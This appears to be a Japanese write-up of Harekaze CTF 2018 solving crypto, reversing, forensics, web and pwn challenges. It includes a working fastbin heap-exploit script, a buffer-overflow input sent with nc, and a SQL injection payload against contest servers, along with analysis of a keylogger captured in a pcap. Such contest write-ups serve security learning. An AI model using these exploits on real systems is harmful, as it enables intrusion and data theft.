LoginSignup
1

More than 5 years have passed since last update.

HarekazeCTF 2018 Write-up

Last updated at Posted at 2018-02-12

Harekaze CTF 2018 - Harekaze

チームsuperflipは1457点で21位。簡単な問題が多め。解けない問題ばかりだとつらいのでありがたい。

welcome flag (WarmUp, 10 points)

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (WarmUp, 30 points)

ROT13と問題文にも書かれている。

$ python -c 'print "UnerxnmrPGS{Uryyb, jbeyq!}".decode("rot13")'
HarekazeCTF{Hello, world!}

HarekazeCTF{Hello, world!}

Obfuscated Password Checker (Web, 50 points)

難読化されたJavaScriptのパスワードチェッカー。開発者ツールで送信ボタンのイベントハンドラを探して、ブレークポイントを張ったらパスワードが入っている変数があった。

image.png

HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}

div N (Rev, 90 points)

return x / N; というCのコードをコンパイルしたら以下の機械語になった。Nは何でしょう? という問題。

   0:   48 89 f8                mov    %rdi,%rax
   3:   48 ba 01 0d 1a 82 9a    movabs $0x49ea309a821a0d01,%rdx
   a:   30 ea 49 
   d:   48 c1 ff 3f             sar    $0x3f,%rdi
  11:   48 f7 ea                imul   %rdx
  14:   48 c1 fa 30             sar    $0x30,%rdx
  18:   48 89 d0                mov    %rdx,%rax
  1b:   48 29 f8                sub    %rdi,%rax
  1e:   c3                      retq   
$ echo “HarekazeCTF{$N}” > /dev/null

除算より乗算のほうが高速なので、コンパイラは定数での除算を、逆数を掛ける乗算に直す。%rdxには乗算結果の上位64ビットが入り、これを0x30ビット右シフトしている。20x70/0x49ea309a821a0d01 = 974873638438445。+1したら正解だった。

HarekazeCTF{974873638438446}

gacha (Crypto, 100 points)

WIN 💎LOSE 💩を公開鍵暗号で暗号化して送ってくる。こちらがどれかを選ぶと、正解かどうかとともに秘密鍵を送ってくる。「サーバー側でズルをしていないことが分かるでしょ?」という趣旨。

出題時点で公開鍵は送られてきているので、WIN 💎LOSE 💩を暗号化して、暗号文がどちらと一致するかを調べれば良い。平文をそのまま公開鍵暗号化してはいけない。

# coding: utf-8

from Crypto.Util.number import *
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("problem.harekaze.com", 30214))

def read():
  t = ""
  while True:
    c = s.recv(1)
    if c=="\n":
      break
    t += c
  return t

print read() # WELCOME
print read() # to encure

for _ in range(30):
  print read() #
  print read() # round
  ans = -1
  for i in range(3):
    l = read()
    n,e,c = eval(l[l.find("("):])
    win = bytes_to_long(u"WIN 💎".encode("utf-8"))
    if pow(win, e, n)==c:
      ans = i+1
  print read() # select
  s.send("%d\n" % ans)
  print read() # result
  print read() # win/lose
  print read() # keys
  for _ in range(3):
    print read() # key

print read() # flag

問題文にリンクが貼られているKOFの裁判、そういえばどうなったのだろう?と思ってブログを見たらまだ決着が付いていなかった。

ふぁんふぁーれ!

HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Lost_data (For + Misc, 100 points)

解けなかった。

HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}まで出てきて、「?DF?CDFS? T?は何だろう?」となっていたけど、xxxxxFAT16を入れるだけで良かったの……。

HarekazeCTF2018 Lost_data - hiww_備忘録

grom (For + Misc, 100 points)

私が解いた中では正解者数が一番少なくて6人。5 MBのVerilogのソースコード。

gromというモジュールがあって、clkを受け取りfinを返す。ただ、finは終了したことを知らせるだけのよう。変数名がf_から始まる7個の変数はどこにも出力されていないし、他の変数が全てこれに繋がっている感じなので、この変数の値を見れば良さそう。Verilogの開発環境はアンインストールしてしまったから、Pythonでシミュレートした。

ソフトウェアのプログラミング言語とたいして変わらないが、<=という代入に注意が必要。always @(posedge en) x <= y; z <= x;は信号enの値が0から1に変化したら、xyを、zxを代入する。このとき、zに代入される値は信号が0のときのxの値であって、yの値にはならない。

問題の最後のほうに似たようなモジュールがあるけれど、この2個は意味が異なる。m_de213ed0a801c2b6e7c24720bcf77d06では、cの値は2クロック前のa & bの値となる。

module m_080dff705050b75f7e7b8427e914c4b8 (input en, input a, input b, output c);
  reg c;
  always @( posedge en ) c <= a & b;
endmodule

module m_de213ed0a801c2b6e7c24720bcf77d06 (input en, input a, input b, output c);
  reg aa;
  reg bb;
  reg r_c;
  always @( posedge en ) begin
    aa <= a;
    bb <= b;
    r_c <= aa & bb;
  end
  assign c = r_c;
endmodule
import re

S = []
V = {}
E1 = []
E2 = []
E3 = []

for l in open("grom.v"):
  m = re.match(r"  reg \[281-1:0\] (s_[0-9a-f]+) = 281'h([0-9a-f]+);", l)
  if m:
    S += [m.group(1)]
    V[m.group(1)] = int(m.group(2), 16)
  m = re.match(r"    (r_[0-9a-f]+) <= (w_[0-9a-f]+);", l)
  if m:
    E1 += [(m.group(1), m.group(2))]
    V[m.group(1)] = 0
    V[m.group(2)] = 0
  m = re.match(r"    (r_[0-9a-f]+) <= (s_[0-9a-f]+)\[0\];", l)
  if m:
    E2 += [(m.group(1), m.group(2))]
    V[m.group(1)] = 0
  m = re.match(r"(m_[0-9a-f]+) i_[0-9a-f]+\(\.en\(en\), \.a\((r_[0-9a-f]+)\), \.b\((r_[0-9a-f]+)\), \.c\((w_[0-9a-f]+)\)\);", l)
  if m:
    E3 += [(m.group(1), m.group(2), m.group(3), m.group(4))]
    V[m.group(2)] = 0
    V[m.group(3)] = 0
    V[m.group(4)] = 0

F = [
  "r_1c64226f0a56c27ec79ed1808ca7d930",
  "r_861ee0de7438080e76c0f5ac0e5b33e1",
  "r_e84f72e32e41777c98cc461d4c56a9af",
  "r_cb848ecd098f71de6545905789344aad",
  "r_e743e2295135651ee98d2192d8cd2676",
  "r_80cc4bac5c989fb60aeb39915b283d3c",
  "r_720e72e5ca056093756b3987b14fe700",
]

delay = []

for _ in range(300):
  old = {}
  for k in V:
    old[k] = V[k]

  for d in delay:
    V[d[0]] = d[1]
  delay = []

  for e in E3:
    if False:
      pass
    elif e[0]=="m_080dff705050b75f7e7b8427e914c4b8":
      V[e[3]] = old[e[1]] & old[e[2]]
    elif e[0]=="m_861cf77c15adc42769c0afb7690a5b51":
      V[e[3]] = old[e[1]] | old[e[2]]
    elif e[0]=="m_c56c7fa9d959ee9019eb4f00a2a78815":
      V[e[3]] = old[e[1]] ^ old[e[2]]
    elif e[0]=="m_de213ed0a801c2b6e7c24720bcf77d06":
      delay += [(e[3], old[e[1]] & old[e[2]])]
    elif e[0]=="m_f62643c44848a7717bd50b3508dd6320":
      delay += [(e[3], old[e[1]] | old[e[2]])]
    elif e[0]=="m_20f50981ecea610cdbb5b264be20dfae":
      delay += [(e[3], old[e[1]] ^ old[e[2]])]
  for e in E2:
    V[e[0]] = old[e[1]]&1
  for s in S:
    V[s] = old[s]>>1
  for e in E1:
    V[e[0]] = old[e[1]]

  print "".join(" *"[V[f]] for f in F)[::-1]

f_???の値を表示してみると、こんな感じでフラグが出てきた。

:

*      
*      
*      
***    
    *  
 *  * *


*******
   *   
   *   
*******



 *     
* * *  
* * *  
****   



****   
  *    
   *   
   *   



 ***   
* * *  
* * *  
  **   

 :    

PokemonGOのこのイベントはすっかり忘れていて、起きたら終わっていた。つらい。

ポケモンGOで『なみのりピカチュウ』大量発生イベント。1月20日(土) 正午から3時間限定! - Engadget 日本版

HarekazeCTF{1v3_G077a_5urf1nG_P!k4cI-Iu}

Fight (Crypto, 100 points)

乱数とのXORで暗号化するプログラム。乱数のシードの計算もそのまま問題に含まれているので、もう一度xorするだけ……のはずが、このgen_seedという関数が終わらない。nの値が4529255040439033800342855653030016000だった。

def gen_seed(n):
  seed = 0
  for k in xrange(1,n):
    if gcd(k,n)==1:
      seed += 1
  return seed

gen_seedではn未満のnと互いに素な整数の個数を計算している。これはオイラーのφ関数。Wikipediaに素因数から計算する式が載っている。

import random
import base64

def xor(msg, key):
    return bytes([ch1^ch2 for ch1, ch2 in zip(msg, key)])

def gcd(x, y):
  while y != 0:
    r = x % y
    x = y
    y = r
  return x

def gen_seed(n):
  seed = 0
  for k in xrange(1,n):
    if gcd(k,n)==1:
      seed += 1
  return seed

def gen_seed2(n):
  seed = 1
  p = 2
  while n>1:
    c = 0
    while n%p==0:
      n //= p
      c += 1
    if c>0:
      seed *= p**c - p**(c-1)
    p += 1
  return seed

s = 1
for p in b"Enjoy_HarekazeCTF!!":
  s *= p
seed = gen_seed2(s)
random.seed(str(seed).rstrip("0"))

enc = base64.b64decode("7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=")
key = bytes([random.randint(0,255) for _ in enc])
flag = xor(enc, key)
print(flag)

HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}

WE'RE WATCHING YOU! (Misc + OSINT, 100 points)

解けなかった。

Torの中で動いているサービスの管理者を突き止めよという問題。

TorはTorのネットワークの中で、身元を伏せたままサーバーを立てられる。ただ、普通のWebサービスでは(アクセスするのに必要だから当然だが)隠す必要の無いIPアドレスなどを隠す必要がある。うっかりするとエラー画面とかに出てしまうらしい。そういう問題だと思うのだが……。

Harekaze Farm (Pwn, 100 points)

動物の名前を3匹入力すると、動物がそれぞれの声で鳴く。isorokuという動物がフラグを喋るらしい。ただし、最初に動物が有効な名前かどうかを確認してからバッファに入れている。isorokuはこの確認を通らない。

動物の名前を入れるバッファが8バイトなのに、16バイト読みこんでいるので、1匹目にcow\0\0\0\0\0isorokuを入力すれば2匹目のバッファにisorokuが入る。名前の確認はstrcmpなので通る。

$ printf "cow\0\0\0\0\0isoroku\nhoge\ncow\n" | nc problem.harekaze.com 20328
Welcome to Harekaze farm
Input a name of your favorite animal: Input a name of your favorite animal: Input a name of your favorite animal: Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

Unnormalized-form Data (Misc, 127 points)

SQLファイル。添付されているファイルの通りにPostgreSQLに流し込むと、

$ psql -U postgres -d unf -c "SELECT FLAG()"
     flag
---------------
 HarekazeCTF{}
(1 row)

となった。中を読むと、relというテーブルを40回辿って、その結果をdicテーブルから引くということをしている。SQL、再帰処理なんてできたのか。SQLのまま色々試すのは大変なので、次のようにPythonに直した。

dic = [
('{d,B,7}','H'),
('{b,A,4}','.'),
  :
('{c,G,3}','/'),
]

rel = [
('{b,C,5}','{c,A,6}'),
('{d,D,3}','{a,D,2}'),
  :
('{a,C,5}','{d,A,4}'),
]

org = [(0,1,'{a,B,4}'), (0,2,'{d,B,7}'), , (0,29,'{d,C,6}')]

flag = ""
for o in org:
  t = [o[2]]
  for i in range(40):
    p = t
    t = []
    for r in rel:
      if r[0] in p:
        t += [r[1]]
  f = "?"
  for d in dic:
    if d[0] in t:
      f = d[1]
  flag += f
print flag

実行するとHarekazeCTF?Th1rtee?_0rphans?となったので、辿れなかった?を埋めたら通った。良く分からない。なぜPostgreSQLとPythonで結果が違うのだろう。

HarekazeCTF{Th1rteen_0rphans}

15 Puzzle (Rev, 200 points)

.NET製の15パズル。1000問解くとフラグが出てくる。dnSpyならば、逆コンパイルだけではなく、実行中に変数を書き換えたり、プログラムを修正してコンパイルし直したりできる。

難読化もされていないし簡単かと思いきや、意外と面倒だった。フラグの復号には、問題生成と同じ乱数を使い回しているので、解いた回数を書き換えるだけではダメで1,000回問題を生成する必要がある。解けたかどうかの判定を常にtrueにしようとしたけど、この乱数の初期化にはプログラムの本体から生成した値が使われている。プログラムを書き換えるとシード値も変わってしまう。

まずは書き換えずにプログラムを動かしてシード値を取得し、乱数初期化にこのシード値を使うようにと、問題生成部分を1,000回ループするようにプログラムを書き換えた。シード値を取得するためにRandomのコンストラクタにブレークポイントを仕掛けたら、問題のコードから呼び出される前にライブラリ中から(?)1回呼び出されていてハマった。

HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}

Logger (Rev + Net, 200 points)

誰かにパスワードを盗まれました…(´・ω・`)

とのこと(´・ω・) カワイソス

問題のpcapからファイルを取り出すと、bundle.jsの末尾にキーロガーが付いていて、WebSocketでキータイプをBase58で符号化して送信している。Base58のテーブルは最初は固定で、navigator.userAgentを送信し、このUAを使ってテーブルをシャッフルして、以降はこのテーブルを使う。

def decode(s, t):
  x = 0
  for a in s:
    x = x*58+t.index(a)
  m = ""
  while x>0:
    m += chr(x%256)
    x /= 256
  return m[::-1]

print decode("T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH", "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp")

t2 = "Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq"

T = [
"iCmUsu3sWAgt1DLDTPiCsMkiJ",
"iTS5kqhhN6dZgQfzeXgG7yYr5",
  :
"yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH",
]

for t in T:
  print decode(t, t2).split()[1],
print

テーブルをシャッフルする処理はキーロガー中のJavaScriptを使った。WebSocketから1パケットごとに通信内容をコピペして泣きそうになった。何か楽な方法は無いのだろうか。

HarekazeCTF{7r1663r_h4ppy_61rl}

Round and Round (Crypto, 200 points)

RSA暗号。pqから次のように計算したp1q1が与えられる。

p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))

pow(p-1, i, p)は、$(p-1)^2\equiv p^2-2p+1 \equiv 1 \mod p$だから、1, p, 1, p, …となる。p1 = p*(q-1)/2+1q1も同様。これはmodの計算ではないので素直に解けばpqが出てくる。

from Crypto.Util.number import *
from gmpy2 import *

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

p2 = (p1-1)*2
q2 = (q1-1)*2
p = 0
b = 2**1024
while b>0:
  t = p+b
  if t*(t+p2-q2-1) <= p2:
    p = t
  b /= 2
q = p + p2 - q2
d = invert(65537, (p-1)*(q-1))
print hex(pow(enc, d, p*q))[2:].decode("hex")

HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

Flea Attack (Pwn, 200)

コンテストが終わってから、

とのヒントをもらって解いた。

フラグは起動時にメモリに読みこまれる。起動時にフラグの前の領域にコメントを書き込むことができる。後は以下の操作を選んで繰り返す。

  • サイズを指定してmallocを実行して、指定した値を書き込む
    • 確保したアドレスと、書き込んだ値が(writeではなくprintfで)返ってくる
  • アドレスを指定してfreeを実行する

mallocfreeの挙動を利用した攻撃は、↓の資料に書かれている

フラグの直前のアドレスをmallocの返り値にすることができれば、フラグの領域までを適当な文字列で埋めて、フラグを表示させることができる。起動時に書き込むコメントを、mallocで確保したメモリの状態にして解放し、再確保すれば良さそうなものだが、これができない。コメントは改行とNUL文字を含むことができず、最後に改行とNUL文字が追加される。コメントを0x5fバイトにすると末尾に改行が追加されないが、freeに渡すアドレスは16バイト境界に揃えないといけないので、ずらすことができない。

mallocが返す値は16バイト境界に揃える必要が無かった。malloc_chunk::fdにフラグ前の領域を指定した状態で解放し、この部分を再確保させれば良い。

from socket import *
from time import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("problem.harekaze.com", 20175))

def read(last):
  t = ""
  while True:
    c = s.recv(1)
    if c=="":
      print t
      exit(0)
    if c==last:
      return t
    t += c

print read(":") # Some comment this note:
s.send("a"*0x5e+"\x31")

def menu():
  print read("\n") # 1. Add name
  print read("\n") # 2. Delete name
  print read("\n") # 3. Exit
  print read(" ") # >

def add(name):
  menu()
  s.send("1\n")
  print read(" ") # Size:
  s.send("%d\n"%len(name))
  print read(" ") # Name:
  s.send(name)
  print read("\n") # Done!
  print read("\n") # Name: ???
  addr = read("\n") # Addr: ???
  print addr
  return int(addr.split()[1], 16)

def delete(addr):
  menu()
  s.send("2\n")
  print read(" ") # Addr:
  s.send("%x "%addr)
  print read("\n") # Done!

addr = add(pack("<QQ", 0, 0x31)+"a"*0x20)
delete(addr+0x10)
delete(addr)
add(pack("<QQQQ", 0, 0x31, 0x204056, 0)+"a"*0x10)
add("a"*0x20)
add("a"*0x1a)
  1. 0x20405eをmalloc_chunk::sizeにすることを想定して、0x31を書き込む
  2. 0x30バイトのメモリを確保して、最初の2ワードを00x31にする
    • このアドレスをaddrとする
  3. addr+0x10を解放する
    • addr+0x10の周辺は0x20バイトのメモリを確保した状態になっている
  4. addrを解放して再確保し、addr+0x10fd0x204056を書き込む
  5. 0x20バイトのメモリを確保する
    • addr+0x10が返ってくる
    • ここでaddr+0x10がfastbinsから外れ、addr+0x10fdである0x204056がfastbinsに繋がれる
  6. 0x20バイトのメモリを確保する
    • 0x204066が返ってくる
    • この部分をNUL文字を含まない文字列で埋めれば、後ろにフラグが付いて表示される

HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}

gacha 2 (Crypto, 350 points)

解けなかった。

今度は、WIN 💎LOSE 💩の後にランダムなデータが付いている。このランダムなデータも勝ち負けと一緒に渡されるから、乱数の内部状態推測だろうか。1回分だけだと足りないし、ランダムなデータは自分が選んだ選択肢のものだけなので間が空くし、面倒そう。

こういう一度倒した相手が強くなって帰ってくる問題が好きだけど、1と2の差分を見ると、1の解法が分かってしまうw

追記

良く見たら、選択肢全部のランダムデータが降ってきていた。

Sokosoko Secure Uploader (Web, 100 points)

ファイルの暗号化と復号をするサービス。暗号化するとUUIDも返ってきて、復号時にはこのUUIDを使う。先頭4文字以外は忘れたらしい。UUIDはバージョン4なので乱数で推測はできない。

UUIDで復号鍵を検索する部分に分かりやすい脆弱性がある。

$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");

ただし、UUIDは長さとハイフンがあるべき場所にハイフンがあるかだけはチェックされている。

'or id/*-xxxx-xxxx-xxxx-*/like'9e5a%

ギリギリ足りて面白い。

HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}

recursive zip (Warmup, 40 points)

ZIPが入れ子になっている。

while :;do mv flag.zip flag1.zip; unzip flag1.zip; done

HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1